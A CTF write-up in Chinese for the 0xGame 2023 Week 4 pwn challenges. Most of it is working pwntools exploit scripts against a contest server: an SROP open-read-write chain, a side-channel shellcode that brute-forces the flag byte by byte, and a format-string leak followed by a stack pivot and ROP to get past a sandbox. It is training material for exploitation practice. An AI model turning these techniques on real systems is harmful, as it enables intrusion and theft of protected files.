0xGame 2023 Week4 Pwn WriteUp

SROP & SROP-REVENGE

> 非预期在于低版本libc（本题2.31）可以打ret2csu。
>
> 高版本libc（2.35）gadget几乎没有

套板子打ORW即可。

> SROP的原理可以看一下，会对日后linux kernel的学习有所帮助。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./pwn")
s=remote("8.130.35.16",53002)
rax=0x401388
syscall=0x401385

f1=SigreturnFrame()
f1.rax=0
f1.rdi=0
f1.rsi=0x404400
f1.rdx=0x1000
f1.rip=syscall
f1.rsp=0x404400

f2=SigreturnFrame()
f2.rax=2
f2.rdi=0x404400+0x318
f2.rsi=0
f2.rdx=0
f2.rip=syscall
f2.rsp=0x404400+len(f2)+0x10

f3=SigreturnFrame()
f3.rax=0
f3.rdi=3
f3.rsi=0x404400+0x318
f3.rdx=0x100
f3.rip=syscall
f3.rsp=0x404400+len(f3)*2+0x20

f4=SigreturnFrame()
f4.rax=1
f4.rdi=1
f4.rsi=0x404400+0x318
f4.rdx=0x100
f4.rip=syscall
pause()
s.send(flat([
```

```
    b"a"*0x10,
    rax,syscall,bytes(f1),
]))

s.send(flat([
    rax,syscall,bytes(f2),
    rax,syscall,bytes(f3),
    rax,syscall,bytes(f4),
    b"/flag\x00"
]))

s.interactive()
```

爱你在心口难开

只给了or没有w，考虑侧信道。

因为stdout没关，可以根据是否EOF来定义两种状态。

- 没有EOF，即shellcode卡一个死循环
- EOF，即调用除or外的系统调用

你可以根据这两种状态来区分flag的正确与否。

下面的exp里面写了个二分，显著加速爆破。

```
from pwn import *
context(arch='amd64', os='linux', log_level='info')
flag="0xGame{"
while 1:
    curr_pos=len(flag)
    left=32
    right=126
    while left!=right:
        warning(f"{curr_pos}: {left}~{right}")
        #s=process("../dist/pwn")
        s=remote("8.130.35.16",54000)
        #pause()
        s.sendafter(b"code:\n",asm("push rdx;pop rsi;push rdx;pop r15;xor
rdi,rdi;xor rax,rax;syscall"))
        mid=int((left+right)/2)
        scbase=f"""
        push r15
        pop rdi
        xor rsi,rsi
        xor rdx,rdx
        push 2
        pop rax
        syscall
        push rdi
        pop rsi
        add rsi,0x600
```

```
        push rax
        pop rdi
        xor rax,rax
        inc dh
        syscall
        push rsi
        pop r14
        cmp byte ptr [r14+{curr_pos}],{mid}
        ja loop
        push 0x3b
        pop rax
        syscall
        loop:
        jmp loop
        """
        s.recvline()
        #pause()
        s.send(b"flag\0".ljust(0x10,b"\x90")+asm(scbase))
        #pause()
        try:
            dat=s.recv(timeout=1)
        except EOFError:
            right=mid
            s.close()
            continue
        left=mid+1
        #pause()
        s.close()
    flag+=chr(left)
    warning(flag)
    if flag[-1]=="}":
        success(flag)
        exit(0)
```

结束了？

fmt泄露信息+栈迁移+沙盒绕过orw。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("../dist/ret2libc-revenge")
s=remote("8.130.35.16",53004)
elf=ELF("../dist/ret2libc-revenge")
libc=ELF("../dist/libc.so.6")
s.sendafter(b"name:\n",b"%8$p.%13$p.%9$p.")
libc.address=eval(s.recvuntil(b".")[:-1])-(0x7ffff7fc72e8-0x7ffff7dd6000)
canary=eval(s.recvuntil(b".")[:-1])
elf.address=eval(s.recvuntil(b".")[:-1])-0x14c0
success(hex(libc.address))
success(hex(elf.address))
success(hex(canary))
```

```
pause()

leave_ret=libc.address+0x00000000000578c8
pivot_read=0x148D

s.sendafter(b"intro:\n",flat([
    b"a"*0x38,canary,
    elf.address+0x4400+0x40,
    elf.address+pivot_read,
]))

rdi=0x0000000000023b6a+libc.address
rsi=0x000000000002601f+libc.address
rdx=0x0000000000142c92+libc.address
rax=0x0000000000036174+libc.address
ret=rdi+1
syscall_ret=0x00000000000630a9+libc.address
s.send(flat([
    elf.address+0x4400+0x40,rdx,
    0x1000,libc.sym.read,
    rdi+1,rdi+1,
    rdi+1,canary,
    elf.address+0x4400,leave_ret,
]))
s.send(flat([
    ret,ret,ret,ret,
    rdi,elf.address+0x4400+0x200,
    rsi,0,rdx,0,
    libc.sym.open,
    rdi,3,rsi,elf.address+0x4400+0x200,rdx,0x100,
    libc.sym.read,
    rdi,1,
    libc.sym.write,
    rdi,elf.address+0x4400+0x200,
    elf.plt.puts,
]).ljust(0x200,b"\x00")+b"flag\x00")
s.interactive()
```